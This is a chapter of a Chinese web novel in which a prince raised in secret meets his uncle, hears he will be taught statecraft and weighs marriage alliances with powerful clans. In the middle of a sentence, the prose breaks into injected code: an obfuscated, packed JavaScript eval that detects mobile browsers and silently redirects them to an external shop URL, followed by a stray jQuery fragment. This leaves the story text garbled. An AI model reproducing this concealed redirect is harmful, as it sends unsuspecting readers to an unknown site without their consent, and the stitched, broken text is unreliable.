6. 四面楚歌
    方恺和柳兆卿接连进去,如袁弘佐所料,二人很快地便出来了,都长出口气,俱是一副“劫后余生”的模样,有种终于把上峰应付过去的轻松感。

    估计也没聊什么有营养的话题,他想着。

    戴哲在佟暄前面进去,但没想到,他在里面待了许久都未出来,比之前两位加起来的时间还要长,外面的人甚至能听到屋里时不时传来宣王爽朗的大笑。

    方恺和柳兆卿面面相觑,连袁弘佐也心生奇怪。他们这是在里面聊什么呢?

    “好诗呀,这可真是好诗。”宣王持着戴哲送上来的诗作,手不释卷,连连赞叹:“尤其是这首《琅山独坐》,既有凌云之气,且意境超绝,颇有古人风韵呀!”

    他放下诗卷,朝戴哲投去欣赏的眼神,“没想到,这琅岳书院竟有这般诗才卓著的学子。”

    戴哲面色平稳,并未因此而显露出任何喜色,反是越发恭谦地低下头,“王爷过誉了,都是夫子培养得好。”

    这次知道宣王要来书院拜访,戴哲早早地就开始准备,他料定这是一次千载难逢的表现机会。哪怕能叫王爷对自己有个一闪而过的好印象,或许未来都有可能成为自己的助力。

    他暗中打听到,宣王其人爱好风雅,是个逍遥享乐的闲散王爷,平时最好纠结一大帮文人,闲来无事便登高作赋,把酒吟诗。他知道宣王不好那种论证治国之道的策论,而是欣赏诗赋,因此特地备下了厚厚一本诗集。

    其实,他也没有把握一定能将诗作呈到宣王面前,但是万一呢?他依旧做好了万全准备,哪怕是从指缝中漏出的一丁点儿机会,他都会上前牢牢抓住。

    “吱”,门开了,戴哲神色自若地走出,侍女将佟暄迎进去。

    “怎么样?”方恺和柳兆卿立马围上去。

    方恺:“我听宣王在里头笑得好大声,你们都说了些什么?”

    戴哲深深看他一眼,眼神晦暗不明,随后摆出一个温和的笑:“没什么,就是跟王爷讲了些近来听到的趣闻轶事。”

    “嘶!”方恺倒吸口气,“你竟敢同王爷讲笑话?”他朝他比出个大拇指,“还是戴兄厉害,够胆。”

    他抿嘴笑笑,没再说什么。

    斋舍内。

    侍女刚把门在身后关上,宣王就迫不及待起身,绕过书桌,上前一把抓住他的肩膀,“快!让叔看看,啧啧,臭小子,这才几个月没见,一下蹿那么老高呢?”

    佟暄笑笑,顺从地被他带到圈椅里。

    他同这个没心肺的三叔素来亲近。自己被下放到民间十余年,帝后也真能狠得下心不见他,只有三叔同他有些往来,毕竟他被送到佟氏夫妇家的身份,就是宣王不可告人的私生子。如此看来,三叔也算是做出点牺牲了,加上在梓州这些年,一直对他照顾有加,如此,宣王竟算是他最亲的亲人了。

    “三叔这次找袁夫子究竟何事?”他犹疑了一下,“可是……父皇那边有什么动静?”

    “父皇”一词说出,他很不适应,就像他有时想到自己的真实身份竟是当朝太子,都有点不能自适。毕竟哪有太子,是像他这样的呢?

    宣王看着他,眉目端平,谦逊柔和。佟暄身上有种谦卑,那种自发的气质,是其他天生自觉高人一等的皇子们所不具备的。或许,这正是皇兄当初把他放到民间的苦心吧。

    “是,皇兄特地嘱托,命我将你的真实身份告知袁翰林。”

    佟暄挣了大眼,不可思议。他在琅岳书院就读十年之久,袁弘佐是他入学第三年来的,也始终不知他的身份。可以这么说,整个梓州,除了宣王,根本没有第二个人知晓他的太子身份。

    皇帝把这个视为最高机密,紧紧隐瞒了如此之久,为何会在此时告知袁弘佐呢?

    宣王端正了身子,不复刚刚的散漫,严肃道:“当初皇兄将你放入民间教养,本就打定了主意,若你能成长为才,弱冠之年,便是你回宫光复太子身份之时。”

    “现在,你已年近十八,不到三年,便要回宫承大统,临朝政。因此,皇兄觉得是时候要袁翰林教给你一些太子应该知晓的东西。”

    他沉沉看着佟暄,一字一吐:“帝王之术,制衡之道。”

    这一些,都与平时书院所学的南辕北辙,是普通学子们根本接触不到的东西。而皇帝认为,现在是时候,该让人教会他如何做一个帝王了。

    佟暄静静注视着他,墨黑的眸子暗流涌动。忽而,他轻嗤一声。

    他可并不觉得回宫已经指日可待了,他没有忽略宣王话中的重要前提:要想回宫,成长为才。

    他偏头看向窗外,眉眼沉沉压下,目光悠远。

    窗外树枝上,一群小雀鸟正张着翅膀嗷嗷叫唤,试图开始自己人生中的第一飞。张开翅膀,或是乘风飞起,或是落地坠亡,一切全凭自己本事。而那个站在枝杈上指导的鸟妈妈,她只会去继续抚养那些能够飞起的鸟儿。

    “三叔觉得,我真的还能……回去皇宫吗?”

    宣王听他这忧愁的一叹,也是叹息。

    想想这小儿这么些年,着实不易。他被放在民间教养,中途亡故的概率比那些养在宫中的皇子要大得多,皇帝早料到这一点,为防止有此可能,在宫中一直着力培养其他皇子,等着随时能够接他的太子之位。

    现在朝中,三皇子和五皇子已经崭露头角,渐渐势大,两个人暗地里斗得你死我活,太子又始终久不露面,他们早对这个东宫之位虎视眈眈。那边两个哥哥在朝中拉帮结派,各自经营起了自己的党羽,而佟暄远在民间,不居庙堂,又要掩藏身份,根本无法在朝中培植自己的势力。

    且不说有朝中有多少人想他死,就算他弱冠之年能够平安回宫,可他朝中无人可用,无所依傍,也依旧是寸步难行。

    他接下来要走的每一步,都将格外艰难。一个不小心,便是深渊危崖,万劫不复。

    “煊儿,不要灰心。”如果说他还有什么可以倚仗的,便是这个与他最为亲近的三叔。

    “帝王之家,向来如此,父子之情敌不过成王败寇。你千万莫要丧气,皇兄对你依旧是最寄寓厚望的,你务必要向他证明,你就是东宫之主的不二人选。”

    佟暄将头转过来,对上他鼓励的眼神。

    “我知道。”他说话轻,却也很稳,无形中有着安定乾坤的气势。“今年的乡贡即将开考,我定会摘个头名,献予父皇。”

    “好!”宣王一拍桌,终于一扫方才的阴霾,朗声大笑,“我孩儿有志气,叔相信你!有什么需要的尽管提,能帮我一定帮。”

    “多谢三叔。”

    宣王乐呵呵笑,看着面前这个一表人才的侄儿,小小年纪却有着君王的沉稳气度,又如此聪颖过人,是个能干大事的。他相信,自己看人的眼光不会有错。

    “哦,对了。”他想起个重要的事儿来,从脚边搬上一个书箧,拍拍里面的卷轴,神秘兮兮道:“这个,也是皇兄特地嘱咐的,拿来给你挑挑。”

    佟暄蹙眉,拿出其中一个卷轴,展开,立马呆住了。

    那上面画着一位姑娘,绾一个云鬟髻,鬓发如云,珠钗琳琅,工笔细细描摹她的朱唇黛眉,巧笑倩兮,温婉娴雅,一看就是个端庄大方的闺阁小姐。

    很快,他便明白过来父皇的意思。

    “皇兄的意思是,你也到了该谈婚论嫁的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459481|141660||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    年纪,但是现在既还不能回宫,又不可能在民间随便找个什么粗俗女子,便寻了几个京城贵女给你相看。你好好瞧瞧,若是看中了哪个就同我说,皇兄那边立马给你指婚,待你回京后便可马上成婚。”

    佟暄没说话,将卷轴又细细卷回去,丢回书箧里,剩下的那几沓也不看了,“模样不重要,三叔只需告诉我,这里面的姑娘是否有清河卢氏、临汾崔氏、南鄞郑氏女,或是韩彬将军之女、王璎首辅孙女。”他一口气说了好几个世家大臣,将宣王都听懵了。

    “若是没有,便也没有相看的必要了。”

    宣王听他说完,露出一个满意的笑容。他就知道自己没有看错人,这小子刚刚提到的,或是绵延几世、关系深厚的世家大族,或是目下煊赫一时、权势滔天的天子重臣。任何一个,都是可以在朝中为他提供莫大助力的绝佳联姻对象。

    “你小子,会选人啊。”看来他对京中的动向,颇为了解。

    他淡淡勾唇,语气却是难掩隐忧:“我在朝中本就没有势力,回宫后一切都要从无开始,婚姻,是可以帮助我快速建立关系的最佳途径,当然务必要好好利用。”

    哪怕对方是个丑八怪,只要家族对他帮助最大,他也能够闭着眼睛,照娶不误。

    宣王对他越发有了信心,兴致勃勃地抽出一卷画轴,眉飞色舞递过去,“这个,临汾崔氏的长房嫡次女,在京都很有才名的,多少膏粱子弟的梦中情人呢,你好好看看,啊。”

    佟暄接过卷轴,面上并无任何旖旎之色,“谢三叔。”

    宣王重重拍了拍他肩,“记住,你叫李煊,天子血脉,当朝太子,这一点,谁也改变不了。”

    *

    日暮,斜阳西山落,琅岳书院一片静谧。

    宣王轰轰烈烈地来,又大张旗鼓地走,白日里的喧阗已过,在这个再普通不过的夜晚,琅岳书院比之往常,竟是更显寂然。

    方恺夜里看书看饿了,摸去厨房找东西吃,路过学堂时,竟发现里面还亮着一豆油灯。

    他走进去一看,果然又是他。

    “佟暄,这么晚了还没走?”

    他正在收拾用具,听见方恺的声音,头也不抬道:“有点功课没做完,马上走了。”

    他今日功课完成得慢,白日里见了下三叔,日暮后又被夫子叫去。袁弘佐见着他哆哆嗦嗦地,啪地一下跪在面前,一阵扣头行礼,完了后就开始给他开小灶。哎,以后要学的内容又要增多了。

    “这么晚了,山路不好走,不如你今晚就在这儿歇下,同我挤一挤。”

    “多谢方兄关心,我没事,一个人走走也挺好,正好散散心。”

    “也是,你坐这一天了,合该活动活动筋骨。那你路上当心啊。”

    佟暄抬头,朝他露出一个今日份最真诚的微笑,“好。”

    佟暄背上书箧,打起灯笼,慢悠悠出了书院门。

    夜幕晚星,天边一抹上弦月,弯弯荡在云层中,淋淋的月光洒下。朦胧间,他看到山路上一道娇小的身影,背身坐在台阶上,双手抱膝,仰头看天,不知在想些什么。

    “范乐乐。”

    她闻声回头,冲他笑,黑夜里一排莹莹贝齿,亮闪闪的,“你终于出来了?走,送你回家!”她拍了拍背后的刀,刀把在月光下颤了颤。

    佟暄这才注意到,她竟然大晚上别了把刀就敢出来。

    这个傻姑娘。

    范乐乐的心思,他自然是知晓的,可也只好一直装作不知晓。

    因为他根本不可能娶她。

    心里好像有什么酸涩的东西涌出来,很快地又被按下去,遂定定心神,迈步过去。